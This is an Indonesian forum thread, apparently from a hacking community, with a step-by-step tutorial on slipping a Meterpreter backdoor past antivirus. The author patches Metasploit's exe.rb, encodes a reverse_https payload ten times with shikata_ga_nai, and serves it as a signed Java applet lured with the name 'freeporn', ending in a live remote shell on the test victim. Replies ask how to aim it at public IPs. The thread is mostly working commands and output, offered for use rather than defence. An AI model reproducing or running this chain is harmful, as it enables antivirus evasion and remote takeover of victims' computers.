Bypassing antivirus dengan malicious java URL
#1
Sesuai dengan janji ane ke temen2 peserta training di room dantanian maka ane bikin thread sekaligus POC .. thx to cassaprodigy yang udah mau bantuin jadi korban Big Grin

Sebenarnya simple sekali purpose dan tutorial ini, membuat malicious URL seperti yang dilakukan SET secara manual dan menempatkan backdoor sesuai dengan keinginan kita. Karena secara default backdoor yagn di buat oleh malicious java server seperti rhinno dan java_signed_applet biasanya merupakan backdoor biasa yang mudah sekali di block antivirus ...

Ide yang baik sekali untuk memodifikasi file exe.rb dimana backdoor yang di packing dengan ekstensi java "jar" dapat diarahkan sesuai dengan backdoor yang telah kita kombinasikan dengan "msfencode"

Tutorial ini ane buat dengan dracos .. sekali lagi anda tinggal menyesuaikan dengan path metasploit dan direktori anda .. karena pada dasarnya semua OS yang terinstall metasploit msf adalah sama ...


step pertama kita harus membuka terlebih dir util dan edit file ruby exe.rb

[hide]
Code:
[email protected]:/opt/metasploit-4.4.0/msf3/lib/msf/util# ls
exe.rb  exe.rb.bak  svn.rb
[email protected]:/opt/metasploit-4.4.0/msf3/lib/msf/util# vim exe.rb

hmm perhatikan pada baris

Code:
def self.to_jar(exe, opts={})
                spawn = opts[:spawn] || 2
                exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
                zip = Rex::Zip::Jar.new
                paths = [
                        [ "metasploit", "Payload.class" ],
                ]

Tambahkan path ke backdoor buatan anda sendiri ..

Quote:exe = File.read("/root/zee.exe")

sehingga menjadi

Code:
def self.to_jar(exe, opts={})
                exe = File.read("/root/zee.exe")
                spawn = opts[:spawn] || 2
                exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
                zip = Rex::Zip::Jar.new
                paths = [
                        [ "metasploit", "Payload.class" ],
                ]
                zip.add_files(paths, File.join(Msf::Config.data_directory,
                "java"))

Perhatikan logika dari source di atas .. ktia memasukan template untuk ekstensi jar pada variable exe dengan value yang kita custom. Kalau sudah kita save ...

Untuk itu kita harus membuat backdoor "zee.exe" terlebih dahulu agar nnti ketika launcher dijalankan , msf exploit akan menemukan file tersebut. Kita buat sebuah backdoor dengan kombinasi msfencode

Code:
[email protected]:/# msfpayload windows/meterpreter/reverse_https
LHOST=192.168.2.4 PORT=4444 R |
msfencode -e x86/shikata_ga_nai -c 10  -t exe  -o /root/zee.exe
[*] x86/shikata_ga_nai succeeded with size 394 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 421 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 448 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 475 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 502 (iteration=5)

[*] x86/shikata_ga_nai succeeded with size 529 (iteration=6)

[*] x86/shikata_ga_nai succeeded with size 556 (iteration=7)

[*] x86/shikata_ga_nai succeeded with size 583 (iteration=8)

[*] x86/shikata_ga_nai succeeded with size 610 (iteration=9)

[*] x86/shikata_ga_nai succeeded with size 637 (iteration=10)

yup dont forget ya agar membuat outputnya ke /root coz itu yang kita pasang di script exe.rb tadi .. Smile

Kalau semua persiapan sudah selesai .. kita buat exploit + listenernya .. memang sudah sepaket.

Code:
[email protected]:~# msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 969 exploits - 511 auxiliary - 155 post
+ -- --=[ 261 payloads - 28 encoders - 8 nops

# exploit yang digunakan

msf > use exploit/multi/browser/java_signed_applet

# set payload .. kudu harus sama dengan backdoor awal

msf  exploit(java_signed_applet) >set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https

# untuk path malicious url .. exp. http://192.168.2.4/

msf  exploit(java_signed_applet) > set URIPATH /
URIPATH => /

#port standart malicious server .. di sarankan port 80 biar langsung kebuka

msf  exploit(java_signed_applet) > set SRVPORT 80
SRVPORT => 80

#ip lokal untuk listener

msf  exploit(java_signed_applet) > set LHOST 192.168.2.4
LHOST => 192.168.2.4

# lokal ip server malicious  kita

msf  exploit(java_signed_applet) > set  SRVHOST 192.168.2.4
SRVHOST => 192.168.2.4

#Nama paket jar yang akan di injection ke target

msf  exploit(java_signed_applet) > set APPLETNAME freeporn
APPLETNAME => freeporn  

#kwkwwk ane kasi nama freeporn.. mknya ati2 ama freeporn
#sertifikat java

msf  exploit(java_signed_applet) > set CERTCN freeporn
CERTCN => freeporn

Menarik untuk di simak .. bahwa kita ada baiknya memilih target yang sesuai dengan target kita ...:-?

Code:
msf  exploit(java_signed_applet) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Generic (Java Payload)
   1   Windows x86 (Native Payload)
   2   Linux x86 (Native Payload)
   3   Mac OS X PPC (Native Payload)
   4   Mac OS X x86 (Native Payload)

Ok untuk sementara penampakan opsi kita sudah sipp \m/

Code:
msf  exploit(java_signed_applet) > show options

Module options (exploit/multi/browser/java_signed_applet):

Name   Current    Setting  Required  Description
----        ---------------  --------  -----------
APPLETNAME  freeporn  yes  The main applet's class name.
CERTCN   freeporn          yes  The CN= value for the certificate.
Cannot contain ',' or '/'
SRVHOST   192.168.2.4   yes The local host to listen on.
This must be an address on the local machine or 0.0.0.0
SRVPORT    80               yes  The local port to listen on.
SSL             false            no    Negotiate SSL for
incoming connections
SSLCert                          no    Path to a custom SSL certificate
(default is randomly generated)
SSLVersion      SSL3       no        Specify the version of
SSL that should
be used (accepted: SSL2, SSL3, TLS1)
SigningCert   no        Path to a signing certificate in
PEM or PKCS12 (.pfx) format
SigningKey    no        Path to a signing key in PEM format
   SigningKeyPass   no        Password for signing key
(required if SigningCert is a .pfx)
   URIPATH      /   no       The URI to use for this exploit
(default is random)


Payload options (windows/meterpreter/reverse_https):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread,
process, none
LHOST     192.168.2.4      yes       The local listener hostname
LPORT     8443             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   1   Windows x86 (Native Payload)[/shcode]

Kalau sudah mari kita jalankan exploitnya
:s:-

msf  exploit(java_signed_applet) > exploit
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.2.4:8443/
msf  exploit(java_signed_applet) >
[*] Using URL: http://192.168.2.4:80/
[*] Server started.

Ketika target mengakses malicious URL .. akan muncul penampakan loader
[Image: attachment.php?aid=46]

Code:
msf  exploit(java_signed_applet) > [*] Using URL: http://192.168.2.4:80/
[*] Server started.
[*] 192.168.2.5      java_signed_applet - Handling request
[*] 192.168.2.5      java_signed_applet - Sending freeporn.jar.
Waiting for user to click 'accept'...
[*] 192.168.2.5      java_signed_applet - Sending freeporn.jar.
Waiting for user to click 'accept'...

Terlihat bahwa server malicious menunggu user untuk menverifikasi malicious java yang telah terkirim. Server malicious mengirim freeporn.jar yang didalamnya sudah berisi file exe backdoor bypassing antivirus zee.exe yang telah kita buat sebelumnya.

hmm .. setelah di proses oleh sistem privilege target maka.. TADA!! meterpreter pun terbentuk :-bd

Code:
msf  exploit(java_signed_applet) > [*] Using URL: http://192.168.2.4:80/
[*] Server started.
[*] 192.168.2.5      java_signed_applet - Handling request
[*] 192.168.2.5      java_signed_applet - Sending freeporn.jar.
Waiting for user to click 'accept'...
[*] 192.168.2.5      java_signed_applet - Sending freeporn.jar.
Waiting for user to click 'accept'...
[*] 192.168.2.5:1732 Request received for /IceK...
[*] 192.168.2.5:1732 Staging connection for target /IceK received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset 641776...
[*] Meterpreter session 1 opened (192.168.2.4:8443 -> 192.168.2.5:1732)
at 2012-11-30 12:54:56 +0700
sessions -l

Active sessions
===============

  Id  Type                   Information                Connection
  --  ----                   -----------                ----------
  1   meterpreter x86/win32  CASSAPRO\cassa @ CASSAPRO  
192.168.2.4:8443 -> 192.168.2.5:1732 (192.168.2.5)

msf  exploit(java_signed_applet) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
[/hide]

Game Over deh ... Smile Big Grin:
support & suggestion @zeeeichel

Original posting by : http://zico-ekel.com/bypassing-antivirus...-java-url/

FOLLOW @DutaLinux
for more question and sharing about security and Opensource only

#2
mantaap om dari kmaren di tungu2 ni tread :d
kmaren nyoba tapi ga bisa Sad( statusnya sending terus dari msf ga brubah2 wlaupun link udah di eksekusi korban, itu kira2 knapa yahhh

#3
ini kalo pake firefox 16 mempan ndak \m/

#4
(11-30-2012, 07:33 PM)drewcode Wrote: mantaap om dari kmaren di tungu2 ni tread :d
kmaren nyoba tapi ga bisa Sad( statusnya sending terus dari msf ga brubah2 wlaupun link udah di eksekusi korban, itu kira2 knapa yahhh

klo ane liat ente tuh gara2 msfpayload tidak berfungsi alias error Big Grin

(11-30-2012, 08:11 PM)dvil Wrote: ini kalo pake firefox 16 mempan ndak \m/

gk masalah klo menurut ane .. itu pake firefox 16 korbannya ..

FOLLOW @DutaLinux
for more question and sharing about security and Opensource only

#5
om... kalo dikasih ip lokalnya diganti pake ip public bisa ga om??
tapi ntar yang jadi masalah, IP nya kan dinamik ya om, la ntu cara ngatasinya gimane??

#6
berarti kalo setiap kita mo buat backdoor kalo namanya beda misalkan nama backdoor nya den.exe
nah kita harus edit file ruby exe.rb lagi..?? ato gimana..?? kan nama backdoor mas zee (zee.exe) nah pada file ruby exe.rb kan ada yg harus ditambahin
"exe = File.read("/root/zee.exe")
ribet donk mass zee...?? setiap mo buat backdoor kudu diedit mulu...

#7
Biar ribet asal selamet.......:d

#8
mancap om Zee tutor nya, thanks

#9
(03-09-2013, 04:27 PM)afrihhilal Wrote: om... kalo dikasih ip lokalnya diganti pake ip public bisa ga om??
tapi ntar yang jadi masalah, IP nya kan dinamik ya om, la ntu cara ngatasinya gimane??

Ente yang harus statik dong (listener-reverse)

(03-09-2013, 10:18 PM)den1993 Wrote: berarti kalo setiap kita mo buat backdoor kalo namanya beda misalkan nama backdoor nya den.exe
nah kita harus edit file ruby exe.rb lagi..?? ato gimana..?? kan nama backdoor mas zee (zee.exe) nah pada file ruby exe.rb kan ada yg harus ditambahin
"exe = File.read("/root/zee.exe")
ribet donk mass zee...?? setiap mo buat backdoor kudu diedit mulu...

Ya setidaknya kita tau manualnya Smile
FOLLOW @DutaLinux
for more question and sharing about security and Opensource only





Users browsing this thread: 1 Guest(s)